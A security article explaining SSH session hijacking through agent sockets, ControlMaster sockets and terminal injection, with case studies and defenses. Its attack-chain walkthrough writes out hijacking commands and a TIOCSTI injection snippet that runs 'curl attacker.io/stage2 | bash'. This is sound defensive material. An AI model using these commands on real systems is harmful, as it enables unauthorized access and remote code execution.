SSH Hijacking: How Attackers Steal Sessions No One Is Watching

An attacker who already has a foothold on your network does not need your SSH password. They do not need your private key. In certain conditions, they do not even need to crack anything. They can walk directly into an authenticated session that someone else already opened — silently, in real time, leaving almost no trace in the logs that matter.

SSH — the Secure Shell protocol — is the backbone of remote administration for Linux and Unix systems worldwide. It encrypts traffic, authenticates with keys or passwords, and has a track record measured in decades. Security teams trust it. That trust is exactly what makes SSH hijacking so dangerous. The attack does not break SSH's encryption. It does not forge certificates. It abuses legitimate features that administrators enable for convenience, and it operates entirely within authenticated sessions that look perfectly normal from the outside.

SSH hijacking is not a new concept, but it remains persistently underestimated. Red team practitioners and threat intelligence analysts consistently report that post-compromise SSH abuse is among the most reliable methods for lateral movement in enterprise Linux environments — in part because defenders spend more energy hardening how SSH sessions begin than monitoring what happens during them.

The entire SSL/TLS stack protecting your SSH connections is irrelevant here. This attack begins after encryption succeeds. The cryptography is not the problem — the trust architecture around it is.

What SSH Hijacking Actually Is

The term covers a family of techniques, not a single attack. What they share is a common goal: gaining unauthorized interactive or programmatic access to a remote system by leveraging an SSH session, credential, or agent that belongs to another user or process — without triggering the authentication mechanisms that would otherwise block entry.

This is categorically different from brute-forcing SSH passwords or stealing a private key file and using it elsewhere. Those attacks target the authentication phase. SSH hijacking, in its most precise form, targets the post-authentication state — the moment after trust has already been established.

MITRE ATT&CK maps this technique cluster under T1563.001 (Remote Service Session Hijacking: SSH Hijacking), defining it as an adversary technique for taking over a legitimate user's SSH session to move laterally within an environment. The entry was last updated in October 2025 and was expanded to include references to documented nation-state operations. The prerequisites listed by MITRE are telling: root-level access on the target, or elevated privilege sufficient to access another user's process space.

Context

SSH hijacking is a post-exploitation technique. It assumes the attacker has already gained some level of access — typically through a separate initial access vector — and is now attempting to move laterally or escalate privilege using sessions that legitimate users have left open.

The Three Attack Vectors

SSH hijacking manifests in three primary ways in practice, each exploiting a different aspect of how SSH and its supporting infrastructure work.

1. SSH Agent Hijacking

When a user runs ssh-agent and adds their private key with ssh-add, the agent stores the decrypted private key in memory and makes it available for authentication via a Unix domain socket — typically located at a path like /tmp/ssh-XXXXXXXXXX/agent.XXXXX. The socket path is stored in the environment variable SSH_AUTH_SOCK.

Any process running as root can access that socket, regardless of which user created it. An attacker with root on the intermediate host can set their own SSH_AUTH_SOCK to point to a legitimate user's agent socket and authenticate to any destination that user's key would reach — without ever seeing the private key itself.

2. SSH ControlMaster Hijacking

OpenSSH's multiplexing feature, configured via ControlMaster in ~/.ssh/config, allows multiple SSH sessions to share a single TCP connection. This is popular in CI/CD pipelines, DevOps tooling, and among system administrators who frequently connect to the same host. When multiplexing is active, a control socket is created on the filesystem. Any process with write access to that socket can open new sessions to the destination without authenticating — because the master connection has already authenticated.

3. PTY Injection

A more aggressive technique involves injecting commands directly into an active pseudo-terminal (PTY) associated with an existing SSH session. Using tools or custom code, an attacker with sufficient privilege can write to the TTY device file of another user's session, effectively typing commands into their terminal. This technique is technically noisier and harder to implement cleanly, but it is included in several publicly documented offensive frameworks and has been referenced in threat intelligence reports dating back to Adam Boileau's 2005 presentation "Trust Transience: Post Intrusion SSH Hijacking" at Ruxcon.

The ControlMaster Problem

The ControlMaster attack vector deserves particular attention because it is enabled by design in many enterprise and DevOps environments and because the attack path is direct and well-documented.

A typical vulnerable SSH client configuration looks like this:

Host *
    ControlMaster auto
    ControlPath ~/.ssh/cm_socket/%r@%h:%p
    ControlPersist 10m

With ControlPersist 10m, the master SSH connection stays alive for ten minutes after the user closes their terminal, waiting for new sessions to reuse it. The control socket file sits on the filesystem for that entire window. If an attacker has compromised the system in that window — even with a lower-privilege shell that can be escalated, or via a root cron job — they can use the socket to open an authenticated SSH connection to wherever the user was connected.

The command to hijack a ControlMaster session is straightforward:

# List active multiplexed sessions
ssh -S ~/.ssh/cm_socket/%r@%h:%p -O check user@targethost

# Open a new shell using the existing authenticated socket
ssh -S /home/victim/.ssh/cm_socket/victim@targethost:22 victim@targethost

The attacker never touches the private key. They never authenticate. The destination host sees a valid SSH connection from a trusted source with credentials it already accepted. Nothing in standard SSH logs on the destination will distinguish this from the original user opening a second terminal window.

At DEF CON 26 in 2018, Royce Davis of Prelude Security characterized the ControlMaster socket as delegated authentication — not a flaw in SSH, but SSH operating exactly as intended. The security model assumes the intermediate host is trusted; when that assumption is wrong, the socket "becomes an attack surface." — Royce Davis, Principal Adversarial Engineer, Prelude Security. DEF CON 26 post-exploitation session track, 2018.
Interactive Attack Chain
01
Initial Access — Foothold on Jump Host
Attacker gains root or sufficient privilege on Host A — a bastion, jump server, or developer workstation. Initial access may come from CVE exploitation, phishing, or credential stuffing. SSH hijacking begins here, not at the target.
# The attacker is now operating as root on Host A whoami && hostname # root / bastion-prod-01
02
Enumerate SSH Agent Sockets
Root bypasses file permission restrictions on Unix domain sockets. The attacker locates all active agent sockets — any of them could belong to a privileged user with keys to production systems.
find /tmp -name "agent.*" -type s 2>/dev/null # /tmp/ssh-AbCdEf1234/agent.5678 # /tmp/ssh-XyZ9876/agent.1234 ps aux | grep ssh-agent # devops 5678 0.0 ssh-agent
03
Identify Keys Loaded in Agent
Before committing to a socket, the attacker inspects which keys are loaded. A key with broad authorized_keys coverage across production systems is the prize. Key comments often reveal which user or system they target.
export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf1234/agent.5678 ssh-add -l # 4096 SHA256:xXxX... devops@corp-laptop (RSA) # 256 SHA256:yYyY... deploy-key-prod (ED25519)
04
Map Reachable Hosts via known_hosts
The victim's known_hosts file is a blueprint of the internal network. Combined with the hijacked agent, this tells the attacker exactly where they can go next — and the list is often far larger than defenders expect.
cat /home/devops/.ssh/known_hosts | awk '{print $1}' | sort -u # 10.0.1.15 # 10.0.1.22 # prod-db-01.internal # prod-api-02.internal # k8s-node-[01-08].internal
05
Authenticate as Victim to Target Host
The attacker connects using the hijacked agent. No password. No key file. The destination sees a valid key-authenticated SSH connection from a known source. Auth logs on the target record a successful login — because it is one.
ssh [email protected] # Welcome to prod-db-01 # Last login: Wed Mar 18 09:44:12 from 10.0.0.5 # $
01
Compromise Host with ControlMaster Config
Target system has ControlMaster configured with a ControlPersist value — common in DevOps toolchains and engineering laptops. The attacker only needs code execution, not necessarily root, if socket permissions are misconfigured.
cat ~/.ssh/config # Host * # ControlMaster auto # ControlPath ~/.ssh/cm_socket/%r@%h:%p # ControlPersist 10m
02
Locate Active Control Sockets
Control sockets persist on disk for the duration of ControlPersist. Even if the user's terminal is closed, the socket is still live and accepting connections. The attacker has a window — find the sockets while they exist.
find /home -name "cm_socket" -type d 2>/dev/null ls -la /home/devops/.ssh/cm_socket/ # [email protected]:22 # [email protected]:22
03
Verify Socket Is Still Active
Before attempting to open a session, confirm the master is still alive. A status check against the socket returns silently if active. Expired sockets return an error. The attacker tests before committing.
ssh -S /home/devops/.ssh/cm_socket/[email protected]:22 \ -O check [email protected] # Master running (pid=12345)
04
Open Authenticated Shell via Socket
The attacker opens a new SSH session through the existing authenticated socket. No keys. No password prompt. The destination host receives a fully authenticated SSH connection. Standard log entry: accepted publickey for devops.
ssh -S /home/devops/.ssh/cm_socket/[email protected]:22 \ [email protected] # Authenticated with pre-existing ControlMaster socket # devops@prod-bastion:~$
01
Identify Active TTY Sessions
The attacker, with root on the host, enumerates who is currently logged in and which TTY devices their sessions are attached to. The target is an active SSH session — ideally one belonging to a privileged user who is in the middle of work.
who # devops pts/1 Mar 18 10:22 (10.0.0.12) # sysadmin pts/2 Mar 18 10:41 (10.0.0.30) ls -la /dev/pts/ # crw--w---- 1 devops tty pts/1
02
Inject Command into Live Terminal
Using the ioctl TIOCSTI syscall (or direct TTY write with appropriate privilege), the attacker pushes characters into the victim's terminal buffer. The victim sees these characters appear and execute as if they typed them. This is why PTY injection is noisier — a human watching the screen will see it.
# TIOCSTI-based injection (requires privilege or CVE-dependent path) # Python proof-of-concept — inject command into pts/1 python3 -c " import fcntl, termios with open('/dev/pts/1','w') as f: for c in 'curl attacker.io/stage2 | bash\n': fcntl.ioctl(f, termios.TIOCSTI, c)"
03
Command Executes in Victim's Context
The injected command runs with the full privileges and session context of the victim user — including any sudo access, active database connections, or mounted credentials. Shell history records the command as if the user typed it, which can complicate forensics.
# On the victim's terminal (they see this): devops@prod-host:~$ curl attacker.io/stage2 | bash # Shell history post-incident: cat ~/.bash_history | tail -5 # sudo -l # cd /var/deploy # curl attacker.io/stage2 | bash ← injected
step 1 / 5

SSH Agent Hijacking in Depth

SSH agent hijacking is the technique described in MITRE T1563.001 and has been a documented method of lateral movement for well over a decade. The attack chain typically proceeds as follows.

An attacker gains root on Host A — a jump server, bastion host, or a compromised developer workstation that regularly connects to other systems. A legitimate user is also connected to Host A and has an SSH agent running with keys loaded. The attacker, operating as root, enumerates active SSH agents:

# Find all SSH agent sockets on the system
find /tmp -name "agent.*" -type s 2>/dev/null

# Or enumerate via running processes
ps aux | grep ssh-agent

With the socket path identified, the attacker exports it and uses it directly:

export SSH_AUTH_SOCK=/tmp/ssh-AbCdEf1234/agent.5678
ssh-add -l    # Lists keys in the hijacked agent
ssh user@internal-production-server    # Authenticates using the victim's key

The hijack works because the SSH agent protocol is intentionally designed to be usable by any process that can reach the socket. Permissions on the socket file are set to restrict access to the owning user — but root bypasses those restrictions. On systems where containers, virtualization, or setuid binaries are misconfigured, lower-privilege paths to the socket sometimes exist as well.

Important

SSH agent forwarding — the feature that passes an agent socket through an SSH connection to a remote host — dramatically expands the attack surface. When agent forwarding is enabled (ForwardAgent yes), the agent socket is exposed on every intermediate host in the chain. A compromised host anywhere in the path can hijack the agent and reach the final destination.

The OpenSSH manual page for ssh_config includes an explicit warning about this behavior: users with the ability to bypass file permissions on the remote host can access the local agent through the forwarded connection, and while attackers cannot obtain raw key material from the agent, they can perform operations on the keys that allow them to authenticate as the identities loaded into it. That warning has been in the documentation for years. It is frequently ignored.

Agent forwarding does not move your private key to the remote host. It moves the ability to use your private key. That distinction matters operationally, but it provides no additional protection against hijacking — the attacker gets the same authentication capability either way.

SSH Hijacking in Real Attacks

SSH hijacking is not theoretical. It appears in documented incident reports, red team toolkits, and attributed nation-state campaigns. The following cases cover SSH session hijacking in real-world attack campaigns — from cryptomining worms to China-linked espionage operations targeting enterprise infrastructure.

Threat Actor Comparison
UNC3886
Nation-State
AttributionChina-nexus
First seen2023
TargetsVMware ESXi, Juniper Junos
SSH methodBackdoored binaries
ReportingMandiant 2024, 2025
TeamTNT
Criminal / Cloud
AttributionUnattributed (Germany-linked)
First seen2020
TargetsDocker, Kubernetes, AWS
SSH methodAgent socket enumeration
ReportingTrend Micro 2020, Group-IB 2024
Rocke Group
Cryptominer
AttributionChina-linked
First seen2018
TargetsCloud VMs (shared-key infra)
SSH methodSSH_AUTH_SOCK hijacking
ReportingCisco Talos 2018
UNC3886
Nation-State
Modified /usr/bin/ssh with altered userauth_passwd() to intercept credentials. Used yum-versionlock to pin backdoored OpenSSH packages, preventing clean-binary restoration through patching. Deployed custom wzshiming/sshd-based server and PITHOOK credential harvester on Juniper infrastructure that lacks standard EDR coverage.
TeamTNT
Criminal / Cloud
Automated shell scripts iterated through all discovered agent sockets and attempted connections to every host in ~/.ssh/known_hosts. Spread cryptomining software across entire cloud tenants from a single compromised node. Resurgence in 2024 added Sliver malware and Diamorphine rootkit for stealth. SSH brute force remains a primary initial access vector.
Rocke Group
Cryptominer
Exploited auto-scaled cloud infrastructure where identical SSH keys are provisioned across many instances. A single hijacked agent socket gave access to the entire fleet. The attack multiplier is particularly severe in environments using instance templates — one compromised node authenticates to all peers. Deployed Monero mining software at scale across cloud VMs.

UNC3886: Nation-State SSH Backdoors on VMware and Juniper Infrastructure (2024)

The most technically detailed recent documentation of SSH session hijacking in a nation-state context comes from Mandiant's investigation of UNC3886, a China-linked espionage group. In a June 2024 report titled "Cloaked and Covert: Uncovering UNC3886 Espionage Operations," Mandiant documented how the group deployed backdoored SSH clients and daemons on compromised VMware ESXi guest virtual machines after gaining initial access through exploitation of CVE-2023-20867 (VMware Tools). The modified SSH client located at /usr/bin/ssh had its userauth_passwd() function altered to intercept credentials, which were then stored in XOR-encrypted files at predictable log paths. The attackers used yum-versionlock to prevent OpenSSH upgrades from overwriting their malicious binaries — a persistence mechanism specifically designed to survive routine patching cycles.

In a March 2025 follow-up, Mandiant documented UNC3886 deploying the same tradecraft against Juniper Networks Junos OS routers. The group deployed a custom SSH server based on the open-source wzshiming/sshd project alongside a tool Mandiant tracked as PITHOOK to intercept SSH authentications and harvest credentials from network infrastructure that is rarely subject to endpoint detection or behavioral monitoring.

"UNC3886 continues to show a deep understanding of the underlying technology" — Mandiant / Google Cloud Threat Intelligence, "Ghost in the Router: China-Nexus Espionage Actor UNC3886 Targets Juniper Routers," March 2025

The MITRE ATT&CK T1563.001 entry was updated in October 2025 to include the UNC3886 Mandiant research as a primary reference, reflecting how significant this documented campaign is to the current understanding of SSH hijacking in advanced persistent threat operations.

Rocke Group Cryptomining Campaigns

Cisco Talos documented the Rocke group's operations against cloud environments, where after gaining initial access the attackers used SSH_AUTH_SOCK hijacking to move laterally across cloud VMs that shared SSH keys — a pattern especially common in auto-scaled infrastructure where identical keys are provisioned across many instances. The technique allowed Rocke to spread cryptomining software across entire cloud environments from a single compromised instance. Talos's 2018 report "Rocke: The Champion of Monero Miners" remains one of the earliest detailed public analyses of SSH agent socket hijacking deployed at scale in cloud infrastructure.

TeamTNT: Automated SSH Socket Traversal, Then and Now

TeamTNT, a threat actor group focusing on cloud-native and containerized environments, developed tooling specifically to harvest SSH credentials and agent sockets from compromised Docker and Kubernetes nodes. Trend Micro's research into TeamTNT (2020–2021) documented automated scripts that searched for SSH agent sockets, known_hosts files, and authorized_keys entries to map and traverse the internal network of cloud tenants. Their toolset, partially published and analyzed by security researchers, included a function to iterate through discovered agent sockets and attempt connections to all hosts found in the victim's ~/.ssh/known_hosts.

Trend Micro's analysis found that the most damaging component of TeamTNT's lateral movement capability was not their container escape exploits but a simple shell script that cycled through every discoverable SSH agent socket and attempted outbound connections. Because few environments monitored SSH auth socket access at the process level, the technique generated almost no alerts in affected cloud tenants.

TeamTNT is not a historical artifact. Group-IB researchers published findings in September 2024 documenting a resurgence of the group with updated tooling, including the replacement of the Tsunami backdoor with Sliver malware and the addition of the Diamorphine rootkit for stealth. Aqua Security confirmed renewed large-scale targeting of Docker environments in October 2024. As of late 2025, Group-IB continues to attribute ongoing campaigns to TeamTNT with moderate confidence, noting the group's use of SSH brute force as an initial access vector followed by SSH socket enumeration and lateral movement.

The 2019 Matrix.org Breach: A Documented Case Study

For defenders who want a concrete, verifiable case study with a public post-mortem, the April 2019 breach of Matrix.org (the open-source messaging protocol) is instructive. The organization published a detailed incident report describing how attackers moved from an initial compromise of a production server to additional infrastructure by exploiting SSH agent forwarding — the attacker was able to reach systems that the compromised host could SSH into because agent forwarding was enabled. The post-mortem is referenced directly in the MITRE ATT&CK T1563.001 entry as a real-world procedural example of the technique.

Why Detection Is So Difficult

SSH hijacking is among the harder post-compromise techniques to detect reliably, for several reasons that compound each other.

First, the activity generates legitimate-looking log entries. When an attacker uses a hijacked agent or ControlMaster socket to connect to a destination host, the destination's /var/log/auth.log records a normal, successful SSH login from the expected source IP with the expected public key fingerprint. There is no authentication failure, no unusual certificate, no anomalous source address. The log is accurate — the connection was properly authenticated. It just was not made by the user who owns the credentials.

Second, the action on the source host — accessing the agent socket or ControlMaster socket — is a filesystem operation that is not logged by default anywhere. Standard Linux audit configurations do not log file reads of Unix domain sockets. Without specific auditd rules targeting SSH_AUTH_SOCK access or process-level monitoring of SSH-related file descriptors, the hijack leaves no record on the host where it occurred.

Third, the timing and behavior of hijacked sessions can closely mirror legitimate usage. If a developer regularly connects from Host A to Host B in the afternoon, an attacker doing the same thing at 2:45 PM may not trigger behavioral analytics tuned to catch off-hours access or unusual source destinations.

What the attacker sees succeed
Successful SSH login recorded on destination — no anomaly
Source IP is the expected bastion or jump host
Key fingerprint matches a known authorized key
No socket access recorded on source host by default
Session timing overlaps with legitimate user hours
Shell history on destination looks normal
Where a defender can catch it
auditd rules watching /tmp/ssh-*/agent.* access by non-ssh processes
EDR process telemetry showing unexpected parent processes opening SSH sockets
SIEM correlating SSH logins from jump hosts to times without corresponding inbound sessions
SSH binary integrity check failing against known-good hash
Behavioral analytics: one source IP authenticating to N hosts in a short window
Network flow data showing SSH fan-out from a single source

What detection does look like, when it works, involves correlating several data sources simultaneously: endpoint process telemetry showing unexpected processes accessing agent socket files, network behavioral analysis detecting SSH connections that do not correspond to known user activity patterns, and EDR alerts on tools like ssh-add -l or custom enumeration scripts being executed under unusual parent processes. MITRE's October 2025 detection strategy update for SSH session hijacking specifically calls out monitoring user SSH-agent socket files being accessed by different user accounts as a primary detection signal.

A successful SSH hijack produces a log entry that is not wrong — it is incomplete. The authentication happened exactly as recorded. What is missing from every default log configuration is the story of who asked for it.

Defenses That Actually Work

Defending against SSH hijacking requires changes at the configuration, infrastructure, and monitoring layers. No single control is sufficient.

Configuration Audit — Check off what you have in place 0 / 8 controls active
ForwardAgent disabled globally in /etc/ssh/ssh_config
Set ForwardAgent no as the system-wide default. Override only in specific host stanzas where forwarding is genuinely required.
Critical
ControlPersist set to 0 or removed from configs
Persistent sockets are the attack surface for ControlMaster hijacking. ControlPersist 0 closes the master when the terminal closes, eliminating the window.
Critical
auditd rules in place for SSH agent socket access
Rules watching /tmp/ssh-*/agent.* for access by processes other than ssh, scp, or known automation create detection telemetry that does not exist by default.
High
OpenSSH binary integrity verified against known-good hashes
UNC3886's primary persistence mechanism was replacing SSH binaries. A routine hash comparison of /usr/bin/ssh, /usr/sbin/sshd against package manager hashes catches this class of tampering.
High
FIDO2 hardware keys in use for privileged accounts
SSH keys backed by FIDO2 devices (YubiKey, SoloKey, etc.) cannot be used via an agent socket without the physical device present. Agent hijacking of hardware-resident keys is not possible.
High
SSH certificate authority issuing short-lived certs (4hr or less)
Time-limited certificates with principal constraints make hijacked agents usable only within the certificate's validity window. Pairs well with hardware key enforcement at the CA.
Medium
SIEM alert: SSH connections from jump hosts without corresponding inbound session
Correlate outbound SSH from bastion IPs against inbound login records to that same bastion. An outbound connection with no matching user session is a strong indicator of socket hijacking.
Medium
Package version locking (yum-versionlock, apt-mark hold) alerting enabled
UNC3886 used version locking to preserve backdoored SSH binaries. An alert on unexpected use of these commands against core system packages — particularly OpenSSH — surfaces this persistence technique.
Medium

Disable SSH Agent Forwarding

The single highest-impact configuration change for many organizations is disabling ForwardAgent globally. In /etc/ssh/ssh_config:

ForwardAgent no

This prevents agent sockets from being exposed on intermediate hosts. Where agent forwarding is genuinely required for automation or privileged workflows, it should be limited to specific host stanzas rather than applied globally.

Restrict ControlMaster Usage

ControlMaster should not be configured with ControlPersist values that keep connections open longer than necessary. For interactive use, setting ControlPersist 0 ensures the master connection closes when the terminal closes. For environments where multiplexing is not needed at all, removing the ControlMaster configuration entirely eliminates the attack surface.

# Minimal risk ControlMaster config (close on terminal exit)
Host bastion.example.com
    ControlMaster auto
    ControlPath ~/.ssh/cm_%r@%h:%p
    ControlPersist 0

Use Hardware Security Keys

SSH keys stored on FIDO2 hardware security keys (YubiKey, SoloKey, etc.) cannot be extracted or used remotely without the physical device. OpenSSH has supported FIDO2 resident keys since version 8.2 (released February 2020). When private key material never exists in a format that can be passed over a socket, agent hijacking of that key becomes impossible.

# Generate an ed25519-sk key backed by a FIDO2 device
ssh-keygen -t ed25519-sk -O resident

Audit Agent Socket Access with auditd

Linux's audit daemon can be configured to log access to SSH agent sockets. The following auditd rule logs any process opening a file in /tmp that matches the SSH agent socket naming convention:

-a always,exit -F arch=b64 -S open,openat -F path=/tmp -F a1=0x0 -k ssh_agent_access

More targeted rules can watch specific socket paths. This telemetry, when fed into a SIEM, creates visibility into the exact moment an attacker accesses the socket — even if the downstream connection looks clean.

Lock OpenSSH Package Versions Carefully

The UNC3886 campaigns documented by Mandiant in 2024 used yum-versionlock to pin the OpenSSH package after replacing legitimate SSH binaries with backdoored versions, specifically to prevent patching from restoring the clean binaries. This is a detection opportunity: organizations should alert on unexpected use of package version locking for core system packages, particularly OpenSSH. A routine audit comparing installed SSH binary hashes against known-good values for the installed version is a straightforward hardening step that would have identified the UNC3886 modifications.

Limit SSH Trust Relationships

Many large SSH hijacking campaigns — including the TeamTNT operations — depend on the victim's known_hosts and authorized_keys files effectively mapping an internal network. Reducing the number of systems that trust each other via SSH, rotating keys regularly, and avoiding shared keys across instances eliminates the multiplier effect that makes agent hijacking so powerful in cloud environments.

Use Certificate-Based SSH Authentication

SSH certificates — not to be confused with TLS certificates — allow organizations to issue time-limited, user-specific credentials with specific principal constraints. An SSH certificate issued to a user with a 4-hour validity window for specific destination hosts dramatically reduces the lateral movement window even if an agent socket is compromised. OpenSSH's certificate infrastructure is built-in and free; the complexity lies in operating the CA. Netflix's BLESS (Bastion's Lambda Ephemeral SSH Service), open-sourced in May 2016, demonstrated at scale how short-lived certificate issuance could be made operationally practical using AWS Lambda and KMS. The BLESS repository on GitHub is now archived, which Netflix has noted reflects the broader availability of improved SSH access management tooling since 2016 — not a deprecation of the underlying certificate approach.

Netflix's BLESS documentation described SSH certificates as a way to authorize users on a per-use-case basis with short validity windows, replacing the need to manage authorized_keys files or control access to SSH private keys — hosts simply need to be configured to trust a certificate authority. That model scales, and it systematically limits how much damage a hijacked agent can cause.

Monitor for Lateral Movement Indicators

At the SIEM level, the following patterns warrant investigation when observed in SSH logs:

  • A source IP authenticating to an unusually large number of destination hosts within a short time window — consistent with automated traversal using a hijacked agent and known_hosts enumeration.
  • SSH connections from jump server IP addresses occurring at times that do not correspond to known users' working hours or authenticated sessions into the jump server itself.
  • Processes accessing /tmp/ssh-*/agent.* files where the accessing process is not ssh, scp, or a recognized automation tool.
  • Unexpected version pins or hash mismatches on SSH binaries — a pattern documented in UNC3886's operational tradecraft to prevent patching from removing backdoored SSH components.

Key Takeaways

  1. SSH hijacking targets post-authentication state: It does not crack credentials. It reuses authentication that already happened. Hardening SSH login controls is necessary but not sufficient — you must also protect what happens after a session is established.
  2. Agent forwarding is the single highest-risk default to fix: Disabling ForwardAgent globally, except where explicitly required, closes the most commonly abused lateral movement path in enterprise Linux environments at near-zero operational cost.
  3. ControlMaster sockets are persistent attack surfaces: If your organization uses SSH multiplexing, audit your ControlPersist values and socket path permissions. An open socket on a compromised host is an open door to wherever that session was going.
  4. Nation-state actors use this in production: The UNC3886 campaigns documented by Mandiant in 2024–2025 show that SSH hijacking via backdoored binaries is not an obscure red team technique. It is active tradecraft used against enterprise VMware ESXi infrastructure and ISP-grade Juniper routers.
  5. Default SSH logging is insufficient for detection: Successful SSH connections from hijacked sessions look legitimate. Detection requires endpoint telemetry — auditd rules, EDR process monitoring, SSH binary integrity checks, or all three — combined with behavioral analytics at the network level.
  6. Hardware keys and SSH certificates are the architectural solutions: Both approaches limit the usability of stolen or hijacked credentials in ways that configuration changes alone cannot replicate. For organizations with mature infrastructure, certificate-based SSH with short validity windows is the highest-impact control available.

SSH has earned its reputation as a secure protocol. The attacks described here do not contradict that reputation — they work around it, targeting the human and operational decisions that accumulate around SSH rather than the cryptography underneath. An organization that understands exactly how these attacks function is an organization that can stop them.

Sources
  1. MITRE ATT&CK. "SSH Hijacking (T1563.001)." Version 1.1, last modified October 2025. attack.mitre.org/techniques/T1563/001
  2. Boileau, Adam. "Trust Transience: Post Intrusion SSH Hijacking." Ruxcon, 2005. Referenced in MITRE ATT&CK T1563.001.
  3. Royce Davis. ControlMaster and SSH multiplexing abuse discussion. DEF CON 26 post-exploitation session track, 2018.
  4. Mandiant / Google Cloud Threat Intelligence. "Cloaked and Covert: Uncovering UNC3886 Espionage Operations." June 18, 2024. cloud.google.com
  5. Mandiant / Google Cloud Threat Intelligence. "Ghost in the Router: China-Nexus Espionage Actor UNC3886 Targets Juniper Routers." March 12, 2025. cloud.google.com
  6. Cisco Talos. "Rocke: The Champion of Monero Miners." 2018. blog.talosintelligence.com
  7. Trend Micro. "TeamTNT: The First Crypto-Mining Worm to Steal AWS Credentials." 2020. trendmicro.com
  8. Group-IB. "Storm Clouds on the Horizon: Resurgence of TeamTNT?" September 2024. group-ib.com
  9. Aqua Security / Aqua Nautilus. "TeamTNT's Docker Gatling Gun Campaign." October 2024. aquasec.com
  10. Hodgson, Matthew. "Post-mortem and remediations for Apr 11 security incident." Matrix.org, May 8, 2019. Referenced in MITRE ATT&CK T1563.001.
  11. OpenSSH. "ssh_config(5) Man Page — ForwardAgent and ControlMaster documentation." man.openbsd.org/ssh_config
  12. Netflix Engineering. "BLESS: Bastion's Lambda Ephemeral SSH Service." Open-sourced May 2016, archived 2024. github.com/Netflix/bless
  13. Netflix Technology Blog. "A Brief History of Open Source from the Netflix Cloud Security Team." 2018. netflixtechblog.com
  14. OpenSSH Release Notes. "OpenSSH 8.2 — FIDO/U2F Support." 2020. openssh.com/txt/release-8.2
  15. The Linux Audit Project. "Audit System Resource Guide." Red Hat Documentation. access.redhat.com
← all articles